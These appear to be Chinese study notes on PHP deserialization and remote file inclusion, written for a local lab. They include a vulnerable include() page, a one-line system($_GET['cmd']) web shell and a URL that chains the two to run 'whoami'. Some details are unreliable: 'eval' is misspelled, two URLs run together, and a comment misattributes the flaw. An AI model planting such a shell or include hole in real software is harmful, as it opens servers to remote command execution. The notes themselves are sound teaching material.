序列化和反序列化
序列化:将内存中的对象状态转换为可存储或传输的格式(如字节流)的过程。
serialize()
序列化对象时,只序列化属性,不管函数方法
反序列化:将序列化后的数据恢复为内存中原始对象的过程。
unserialize()
反序列化漏洞
php魔术方法利用
是以双下划线 __ 开头的内置方法,会在特定场景下自动触发,不需要手动调用。
__construct() // 构造函数:实例化对象时自动调用
__destruct() // 析构函数:对象销毁时自动调用
__sleep() // serialize() 序列化对象时触发
__wakeup() // unserialize() 反序列化时触发
在魔术方法里危险函数
1.system():执行系统命令
2.exal():将字符串作为代码来执行的核心函数
3.include" ":包含(复制)文件里的代码到本文件
远程包含:
先打开远程文件包含
//a.php文件 <?php // 1. 用 $_GET 接收你在网址栏输入的内容 $input = $_GET['xss']; // 2. 直接输出到网页!!!【这才是漏洞根源】 echo "你输入的内容是:" . $input; include $input; ?>//b文件 <?php system($_GET["cmd"]); ?>在浏览器URL输入"127.0.0.1:8000/uploads/a.php?xss=http://127.0.0.1:8000/uploads/b.php?cmd=whoamihttp://127.0.0.1/demo/a.php?file=http://127.0.0.1/demo/b.php"
预防
- 上传输入过滤
- 没必要的危险函数禁用